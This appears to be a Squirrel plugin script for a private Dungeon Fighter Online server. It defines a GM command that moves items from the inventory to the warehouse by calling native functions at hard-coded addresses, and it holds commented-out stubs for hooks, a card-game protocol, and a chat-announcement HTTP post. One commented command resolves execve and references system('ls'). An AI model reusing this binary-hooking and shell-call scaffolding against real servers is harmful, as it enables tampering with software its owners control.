// //不扣除道具
|
||
// SUser.GiveItem(ItemId, 1);
|
||
// return;
|
||
// }
|
||
|
||
// //获取角色背包
|
||
// local InvenObj = SUser.GetInven();
|
||
// //获取需要转移的装备 这里默认写的装备栏第一个格子
|
||
// local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);
|
||
// //获取装备ID
|
||
// local EquipId = ItemObj.GetIndex();
|
||
// //获取装备名字
|
||
// local ItemName = PvfItem.GetNameById(EquipId);
|
||
// //获取配置中不可跨界的ID数组
|
||
// local NoCrossId = Cofig.NoCrossIdArr;
|
||
// //如果这个装备不可跨界
|
||
// if (NoCrossId.find(EquipId) != null) {
|
||
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr5, ItemName), 7);
|
||
// //不扣除道具
|
||
// SUser.GiveItem(ItemId, 1);
|
||
// return;
|
||
// }
|
||
// //如果没找到这个格子的装备
|
||
// if (!ItemName) {
|
||
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr1, 8);
|
||
// //不扣除道具
|
||
// SUser.GiveItem(ItemId, 1);
|
||
// return;
|
||
// }
|
||
// //跨界
|
||
// local Flag = CargoObj.InsertItem(ItemObj, EmptySlot);
|
||
// if (Flag == -1) {
|
||
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr3, 8);
|
||
// //不扣除道具
|
||
// SUser.GiveItem(ItemId, 1);
|
||
// } else {
|
||
// //销毁背包中的道具
|
||
// ItemObj.Delete();
|
||
// //刷新玩家背包列表
|
||
// SUser.SendUpdateItemList(1, 0, 9);
|
||
// //刷新账号金库列表
|
||
// CargoObj.SendItemList();
|
||
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr4, ItemName), 7);
|
||
// }
|
||
// }
|
||
// }
|
||
|
||
|
||
// Gm_InputFunc_Handle["okok"] <- function(SUser, cmd) {
|
||
|
||
// local _Execve_Address = Module.getExportByName(null, "execve");
|
||
// // local Ret = system("ls");
|
||
// print(_Execve_Address);
|
||
// // SUser.SendNotiPacketMessage("出纳上到几点方柏霓撒娇扩大年级卡萨", 7);
|
||
// }
|
||
|
||
// //定义一个显示的变量
|
||
// getroottable().TaskCount <- 0;
|
||
|
||
// //任务
|
||
// function Task() {
|
||
// getroottable().TaskCount++;
|
||
// print("定时任务执行了一次,当前执行次数为:" + getroottable().TaskCount);
|
||
// }
|
||
|
||
// //注册一个定时任务 每五秒执行一次 任务名为 TestCronName
|
||
// Timer.SetCronTask(Task, {
|
||
// Cron = "0/5 * * * * *",
|
||
// Name = "TestCronName"
|
||
// });
|
||
|
||
|
||
function _Jump_DropItem_check_error_()
|
||
{
|
||
//如果没有创建过这个模拟内存就创建
|
||
if(!getroottable().rawin("_EmptyCharacInfo_Flag_")){
|
||
getroottable()._EmptyCharacInfo_Flag_ <- Memory.alloc(17);
|
||
Memory.reset(getroottable()._EmptyCharacInfo_Flag_,17);
|
||
}
|
||
//如果没有创建过这个跳转Flag就创建并初始化
|
||
if(!getroottable().rawin("_EmptyHook_Flag_")){
|
||
getroottable()._EmptyHook_Flag_ <- false;
|
||
}
|
||
}
|
||
|
||
Timer.SetTimeOut(function() {
|
||
// //私有方法 发送带参数的Post请求
|
||
// local SO = Http("129.211.27.104", "9080");
|
||
// local Res = SO.Post("/dof/chat", Json.Encode({
|
||
// username = "系统公告",
|
||
// text = "倾泪寒在格蓝迪发电站爆出了【雷剑-苦轮】!真是人品爆炸!!!",
|
||
// groupId = 850022626
|
||
// }), "application/json");
|
||
|
||
// Cb_DropItem_check_error_Enter_Func.Rindro <- function(args){
|
||
// getroottable()._EmptyHook_Flag_ = true;
|
||
// args[1] = getroottable()._EmptyCharacInfo_Flag_.C_Object;
|
||
// return args;
|
||
// }
|
||
// Cb_DropItem_check_error_Leave_Func.Rindro <- function(args){
|
||
// if(getroottable()._EmptyHook_Flag_){
|
||
// getroottable()._EmptyHook_Flag_ = false;
|
||
// return 19;
|
||
// }
|
||
// }
|
||
}, 1)
|
||
|
||
|
||
|
||
|
||
|
||
Gm_InputFunc_Handle["aaa"] <- function(SUser, cmd) {
|
||
// 获取角色背包
|
||
local InvenObj = SUser.GetInven();
|
||
// 角色仓库
|
||
local CargoObj = Sq_CallFunc(S_Ptr("0x08151a94"), "pointer", ["pointer"], SUser.C_Object);
|
||
// 添加计数器
|
||
local transferCount = 0;
|
||
// 遍历背包消耗品栏及材料栏
|
||
for (local i = 57; i <= 152; ++i) {
|
||
// 获取背包物品
|
||
local ItemObj = InvenObj.GetSlot(1, i);
|
||
// 获取背包物品ID
|
||
local Item_Id = ItemObj.GetIndex();
|
||
local ItemName = PvfItem.GetNameById(Item_Id);
|
||
// 如果物品ID为0或3037,跳过(在此可以添加其他需要跳过的物品ID)
|
||
if (Item_Id == 0 || Item_Id == 3037) {
|
||
continue;
|
||
}
|
||
|
||
// 角色仓库是否存在背包物品
|
||
local CargoSlot = Sq_CallFunc(S_Ptr("0x850bc14"), "int", ["pointer", "int"], CargoObj, Item_Id);
|
||
// 如果角色仓库中没有该物品,跳过
|
||
if (CargoSlot == -1) {
|
||
continue;
|
||
}
|
||
|
||
// 获取仓库物品指针
|
||
local cargoItemPointer = NativePointer(CargoObj).add(4).readPointer();
|
||
// 获取角色仓库物品对象
|
||
local cargoItemObj = NativePointer(cargoItemPointer).add(61 * CargoSlot);
|
||
// 获取角色仓库物品ID
|
||
local cargoItemId = NativePointer(cargoItemPointer).add(61 * CargoSlot + 2).readU32();
|
||
// 获取角色仓库物品数量
|
||
local cargoItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], cargoItemObj.C_Object);
|
||
|
||
// 获取物品对象
|
||
local PvfItem = PvfItem.GetPvfItemById(cargoItemId);
|
||
|
||
// 获取物品可堆叠数量
|
||
local getStackableLimit = Sq_CallFunc(S_Ptr("0x0822C9FC"), "int", ["pointer"], PvfItem.C_Object);
|
||
|
||
// 如果仓库已达堆叠上限,跳过此物品
|
||
if (cargoItemCount >= getStackableLimit) {
|
||
continue;
|
||
}
|
||
|
||
// 获取背包物品数量
|
||
local inventoryItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], ItemObj.C_Object);
|
||
// 获取物品是否可堆叠
|
||
local checkStackableLimit = Sq_CallFunc(S_Ptr("0x08501A79"), "int", ["int", "int"], cargoItemId, cargoItemCount + inventoryItemCount);
|
||
// 尝试将物品储存至角色仓库中
|
||
local tryAddStackItem = Sq_CallFunc(S_Ptr("0x0850B4B0"), "int", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot);
|
||
if (tryAddStackItem >= 0) {
|
||
// 正式将物品插入角色仓库中
|
||
Sq_CallFunc(S_Ptr("0x850b672"), "pointer", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot);
|
||
// 删除背包中的物品
|
||
ItemObj.Delete();
|
||
transferCount++;
|
||
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8);
|
||
}
|
||
|
||
// 处理可堆叠物品
|
||
if (checkStackableLimit == 0) {
|
||
// 获取物品总数
|
||
local totalCount = cargoItemCount + inventoryItemCount;
|
||
|
||
// 如果总数不超过上限,全部堆到仓库
|
||
if (totalCount <= getStackableLimit) {
|
||
// 将物品堆到仓库
|
||
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, totalCount);
|
||
// 删除背包中的物品
|
||
ItemObj.Delete();
|
||
transferCount++;
|
||
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8);
|
||
} else {
|
||
// 如果总数超过上限
|
||
// 将仓库的物品数量设置为最大数量
|
||
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, getStackableLimit);
|
||
// 将背包数量减去转移至仓库的数量
|
||
local transferAmount = getStackableLimit - cargoItemCount;
|
||
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], ItemObj.C_Object, totalCount - getStackableLimit);
|
||
transferCount++;
|
||
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + transferAmount, 8);
|
||
}
|
||
}
|
||
|
||
// 通知客户端更新背包
|
||
SUser.SendUpdateItemList(1, 0, i);
|
||
}
|
||
|
||
if (transferCount == 0) {
|
||
SUser.SendNotiBox("没有可转移的物品!", 1);
|
||
}
|
||
// 通知客户端更新仓库
|
||
SUser.SendItemSpace(2);
|
||
|
||
print(666);
|
||
}
|
||
|
||
|
||
|
||
Register_DPS_Pack(1, function(SUser, Pack) {
|
||
printT(Pack);
|
||
SUser.Send_DPS_Pack(1, {
|
||
ttt = 1,
|
||
})
|
||
});
|
||
|
||
|
||
|
||
// //收到查询我的战绩包 查询我的战绩 注意这个包不止我请求的时候要发 一局游戏结束了以后 你要主动刷这个包
|
||
// ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) {
|
||
// local evv = {
|
||
// op = 20092098,
|
||
// WinCount = 1, //胜利场次
|
||
// Ranking = 2, //排名
|
||
// OnlineRanking = 56, //跨服排名
|
||
// TicketCount = 3, //入场卷数量
|
||
// }
|
||
// SUser.SendJso(evv);
|
||
// });
|
||
|
||
// //收到开始匹配包 服务端进入匹配状态 告诉客户端开始匹配了
|
||
// ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) {
|
||
// local evv = {
|
||
// op = 20092002,
|
||
// }
|
||
// SUser.SendJso(evv);
|
||
|
||
// //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配 然后开局了给客户端发消息
|
||
// Timer.SetTimeOut(function() {
|
||
// //角色类 名字 职业 穿戴装备
|
||
// local Charac = {
|
||
// Name = "测试角色",
|
||
// Job = 8,
|
||
// Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192],
|
||
// CardList = [0, 1, 2, 3, 1]
|
||
// }
|
||
|
||
// //这里发送角色类List 0号位是自己 然后顺时针坐玩家 发送主牌ID
|
||
// local evv = {
|
||
// op = 20092006,
|
||
// CharacList = [Charac, Charac, Charac, Charac],
|
||
// MainCard = 2
|
||
// }
|
||
|
||
// SUser.SendJso(evv);
|
||
// }, 500);
|
||
// });
|
||
// //收到取消匹配包 服务端进入匹配状态 告诉客户端取消匹配了
|
||
// ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) {
|
||
// local evv = {
|
||
// op = 20092004,
|
||
// }
|
||
// SUser.SendJso(evv);
|
||
// });
|
||
// //收到出牌包
|
||
// ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) {
|
||
// //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List
|
||
// local CardList = Jso.CardList;
|
||
// //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌
|
||
// //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功 这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId 其他人 要发他们那里对应的ID
|
||
// local evv = {
|
||
// op = 20092008,
|
||
// CharacId = 1,
|
||
// CardList = CardList
|
||
// };
|
||
// SUser.SendJso(evv);
|
||
// });
|
||
|
||
// //主动下发 回合信息包 20092010 要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的
|
||
// local evv = {
|
||
// //谁的回合
|
||
// RoundCharac = 0;
|
||
// //剩余多少时间 (这个应该是在你的配置里)
|
||
// RoundTime = 30;
|
||
// };
|
||
|
||
// //主动下发 质疑包 20092012 要告诉客户端的玩家 谁要质疑 注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息
|
||
// local evv = {
|
||
// //质疑玩家
|
||
// QuestionCharac = 0;
|
||
// //质疑牌List (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个)
|
||
// QuestionCardList = [0, 1, 2, 3, 1];
|
||
// };
|
||
|
||
// //主动下发 刷新玩家信息包 20092014 要告诉客户端的玩家 谁还剩多少血 0就是没血了 -1就是这个地方是没有玩家的 1就是还剩1滴血
|
||
// local evv = {
|
||
// Charac = [0, -1, 1, -1]
|
||
// };
|
||
|
||
// //主动下发 结算包 20092018 一局游戏结束了 发包给我
|
||
// local evv = {
|
||
// //0 是你输了 1是你赢了
|
||
// Win = 0
|
||
// };
|
||
|
||
// //主动下发 牌桌显示公告 20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的
|
||
// local evv = {
|
||
// //消息
|
||
// Msg = "公告消息"
|
||
// };
|
||
|
||
// //收到聊天信息包
|
||
// ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) {
|
||
// //这里是左下角聊天框打字发送上来的信息
|
||
// local MsgBuffer = Jso.Msg;
|
||
// //转发给所有玩家 包括他自己
|
||
// local evv = {
|
||
// op = 20092100,
|
||
// Msg = MsgBuffer,
|
||
// };
|
||
// SUser.SendJso(evv);
|
||
// }); |